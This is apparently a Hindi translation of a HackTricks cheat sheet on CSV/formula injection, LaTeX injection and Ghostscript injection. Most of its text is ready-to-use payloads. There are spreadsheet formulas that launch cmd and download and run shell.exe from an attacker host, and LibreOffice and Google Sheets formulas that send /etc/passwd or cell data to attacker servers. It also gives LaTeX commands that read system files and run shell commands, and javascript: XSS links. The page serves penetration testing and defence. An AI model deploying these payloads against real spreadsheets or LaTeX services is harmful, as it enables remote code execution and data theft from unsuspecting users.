20 KiB
सूत्र/CSV/डॉक/लाटेक्स/गोस्टस्क्रिप्ट इन्जेक्शन
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड ग्रुप या टेलीग्राम ग्रुप या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
Try Hard सुरक्षा समूह
{% embed url="https://discord.gg/tryhardsecurity" %}
सूत्र इन्जेक्शन
जानकारी
यदि आपका इनपुट CSV फ़ाइल (या किसी अन्य फ़ाइल) में प्रतिबिंबित हो रहा है जो कि संभावित रूप से एक्सेल द्वारा खोला जाएगा, तो आप एक्सेल सूत्र डाल सकते हैं जो उस समय चलाया जाएगा जब उपयोगकर्ता फ़ाइल खोलता है या जब उपयोगकर्ता एक्सेल शीट के अंदर किसी लिंक पर क्लिक करता है।
{% hint style="danger" %} आजकल एक्सेल (कई बार) उपयोगकर्ता को चेतावनी देगा जब कुछ बाहर से एक्सेल में लोड हो रहा है ताकि उसे दुरुपयोग से बचाया जा सके। इसलिए, अंतिम पेलोड पर सोशल इंजीनियरिंग पर विशेष प्रयास किया जाना चाहिए। {% endhint %}
वर्डलिस्ट
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
हाइपरलिंक
निम्नलिखित उदाहरण अंतिम एक्सेल शीट से सामग्री निकालने और विभिन्न स्थानों पर अनुरोध करने के लिए बहुत उपयोगी है। लेकिन इसे लिंक पर क्लिक करने की आवश्यकता होती है (और चेतावनी प्रॉम्प्ट को स्वीकार करना चाहिए)।
निम्नलिखित उदाहरण https://payatu.com/csv-injection-basic-to-exploit से लिया गया था।
एक छात्र रिकॉर्ड प्रबंधन सिस्टम में सुरक्षा उल्लंघन की एक CSV अधिष्ठापन हमले के माध्यम से उत्पन्न एकल है। हमलावर का प्राथमिक उद्देश्य शिक्षकों द्वारा छात्र विवरण प्रबंधित करने के लिए उपयोग किए जाने वाले सिस्टम को क्षति पहुंचाना है। इस विधि में हमलावर एक दुरुपयोगी पेलोड को एप्लिकेशन में डालता है, विशेष रूप से छात्र विवरण के लिए निर्धारित क्षेत्रों में हानिकारक सूत्र द्वारा। हमला निम्नलिखित प्रकार से खुलता है:
- दुरुपयोगी पेलोड का अधिष्ठापन:
- हमलावर एक छात्र विवरण फॉर्म सबमिट करता है लेकिन एक फॉर्मूला शामिल करता है जो स्प्रेडशीट में सामान्य रूप से उपयोग किया जाता है (जैसे,
=HYPERLINK("<malicious_link>","यहाँ क्लिक करें")
।) - यह फॉर्मूला हाइपरलिंक बनाने के लिए डिज़ाइन किया गया है, लेकिन यह हमलावर द्वारा नियंत्रित एक दुरुपयोगी सर्वर की ओर पोइंट करता है।
- आपदा ग्रस्त डेटा का निर्यात:
- शिक्षक, कंप्रमाइज के अनजान होने पर, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं।
- CSV फ़ाइल, जब खोली जाती है, तो अब भी दुरुपयोगी पेलोड को शामिल करती है। यह पेलोड स्प्रेडशीट में एक क्लिक के योग्य हाइपरलिंक के रूप में प्रकट होता है।
- हमला ट्रिगर करना:
- एक शिक्षक हाइपरलिंक पर क्लिक करता है, यह मानकर कि यह छात्र के विवरण का वैध हिस्सा है।
- क्लिक करने पर, अपरिचित डेटा (संभावित रूप से स्प्रेडशीट से विवरण या शिक्षक के कंप्यूटर से) हमलावर के सर्वर पर भेजा जाता है।
- डेटा को लॉग करना:
- हमलावर का सर्वर शिक्षक के कंप्यूटर से भेजे गए संवेदनशील डेटा को प्राप्त और लॉग करता है।
- हमलावर फिर इस डेटा का उपयोग विभिन्न दुरुपयोगी उद्देश्यों के लिए कर सकता है, जिससे छात्रों और संस्थान की गोपनीयता और सुरक्षा को और अधिक क्षति पहुंच सकती है।
RCE
अधिक विवरण के लिए मूल पोस्ट की जाँच करें।
विशेष विन्यासों या पुराने संस्करणों में, एक सुविधा जिसे डायनामिक डेटा एक्सचेंज (DDE) कहा जाता है, विभिन्न आदेशों को निष्पादित करने के लिए उपयोग किया जा सकता है। इसका लाभ उठाने के लिए, निम्नलिखित सेटिंग्स सक्षम होने चाहिए:
- फ़ाइल पर जाएं → विकल्प → विश्वास केंद्र → विश्वास केंद्र सेटिंग्स → बाह्य सामग्री, और डायनामिक डेटा एक्सचेंज सर्वर लॉन्च को सक्षम करें।
जब एक दुरुपयोगी पेलोड के साथ एक स्प्रेडशीट खोला जाता है (और यदि उपयोगकर्ता चेतावनियाँ स्वीकार करता है), तो पेलोड निष्पादित होता है। उदाहरण के लिए, कैलकुलेटर एप्लिकेशन को लॉन्च करने के लिए, पेलोड होगा:
`=cmd|' /C calc'!xxx`
अतिरिक्त कमांड भी निष्पादित किए जा सकते हैं, जैसे PowerShell का उपयोग करके फ़ाइल डाउनलोड और निष्पादन।
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LibreOffice Calc में स्थानीय फ़ाइल समावेश (LFI)
LibreOffice Calc का उपयोग स्थानीय फ़ाइलों को पढ़ने और डेटा निकालने के लिए किया जा सकता है। यहाँ कुछ तरीके हैं:
- स्थानीय
/etc/passwd
फ़ाइल से पहली पंक्ति पढ़ना:='file:///etc/passwd'#$passwd.A1
- पढ़ा हुआ डेटा एक हमलावर नियंत्रित सर्वर पर निकालना:
=WEBSERVICE(CONCATENATE("http://<हमलावर IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- एक से अधिक पंक्ति निकालना:
=WEBSERVICE(CONCATENATE("http://<हमलावर IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS निकालना (पढ़ा हुआ डेटा एक हमलावर नियंत्रित DNS सर्वर के रूप में DNS क्वेरी के रूप में भेजना):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<हमलावर डोमेन>"))
OOB डेटा निकालन के लिए Google Sheets
Google Sheets उन फ़ंक्शन को प्रदान करता है जो OOB डेटा निकालन के लिए उत्पादित किए जा सकते हैं:
- CONCATENATE: स्ट्रिंग को जोड़ता है -
=CONCATENATE(A2:E2)
- IMPORTXML: संरचित डेटा प्रकार से डेटा आयात करता है -
=IMPORTXML(CONCAT("http://<हमलावर IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: RSS या ATOM फ़ीड आयात करता है -
=IMPORTFEED(CONCAT("http://<हमलावर IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: HTML तालिकाओं या सूचियों से डेटा आयात करता है -
=IMPORTHTML (CONCAT("http://<हमलावर IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: एक अन्य स्प्रेडशीट से कोशिका के रेंज को आयात करता है -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: एक छवि को एक सेल में सम्मिलित करता है -
=IMAGE("https://<हमलावर IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
सामान्यत: इंटरनेट पर पाए जाने वाले सर्वर जो LaTeX कोड को PDF में परिवर्तित करें, pdflatex
का उपयोग करते हैं।
यह कार्यक्रम (डिस)कमांड निषेध करने के लिए 3 मुख्य गुणों का उपयोग करता है:
--no-shell-escape
:\write18{command}
निर्देश को अक्षम करें, यदि यह texmf.cnf फ़ाइल में सक्षम है भी।--shell-restricted
:--shell-escape
के समान, लेकिन 'सुरक्षित' सेट के पूर्वनिर्धारित **निर्देशों (**Ubuntu 16.04 पर सूची/usr/share/texmf/web2c/texmf.cnf
में है) के लिए सीमित है।--shell-escape
:\write18{command}
निर्देश को सक्षम करें। निर्देश कोई भी शैल निर्देश हो सकता है। इस निर्माण को सुरक्षा कारणों से सामान्यत: निषिद्ध किया जाता है।
हालांकि, निर्देशों को निषेधित करने के लिए अन्य तरीके हैं, इसलिए RCE से बचने के लिए --shell-restricted
का उपयोग करना बहुत महत्वपूर्ण है।
फ़ाइल पढ़ें
आपको व्रैपर्स के साथ अंश प्रविष्टि समायोजित करने की आवश्यकता हो सकती है जैसे [ या $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
एकल रेखांकित फ़ाइल पढ़ें
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
एकाधिक पंक्तियों वाली फ़ाइल पढ़ें
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
फ़ाइल लिखें
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
कमांड निष्पादन
कमांड का इनपुट stdin पर रीडायरेक्ट किया जाएगा, इसे प्राप्त करने के लिए एक टेम्प फ़ाइल का उपयोग करें।
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
यदि आपको कोई लेटेक्स त्रुटि मिलती है, तो बेस64 का उपयोग करके बिना बुरे वर्णों के परिणाम प्राप्त करने का विचार करें।
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
क्रॉस साइट स्क्रिप्टिंग
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
गोस्टस्क्रिप्ट इंजेक्शन
जांच करें https://blog.redteam-pentesting.de/2023/ghostscript-overview/
संदर्भ
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
ट्राई हार्ड सिक्योरिटी ग्रुप
{% embed url="https://discord.gg/tryhardsecurity" %}
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- अगर आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड ग्रुप या टेलीग्राम ग्रुप या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स HackTricks और HackTricks Cloud github रेपो में PR जमा करके।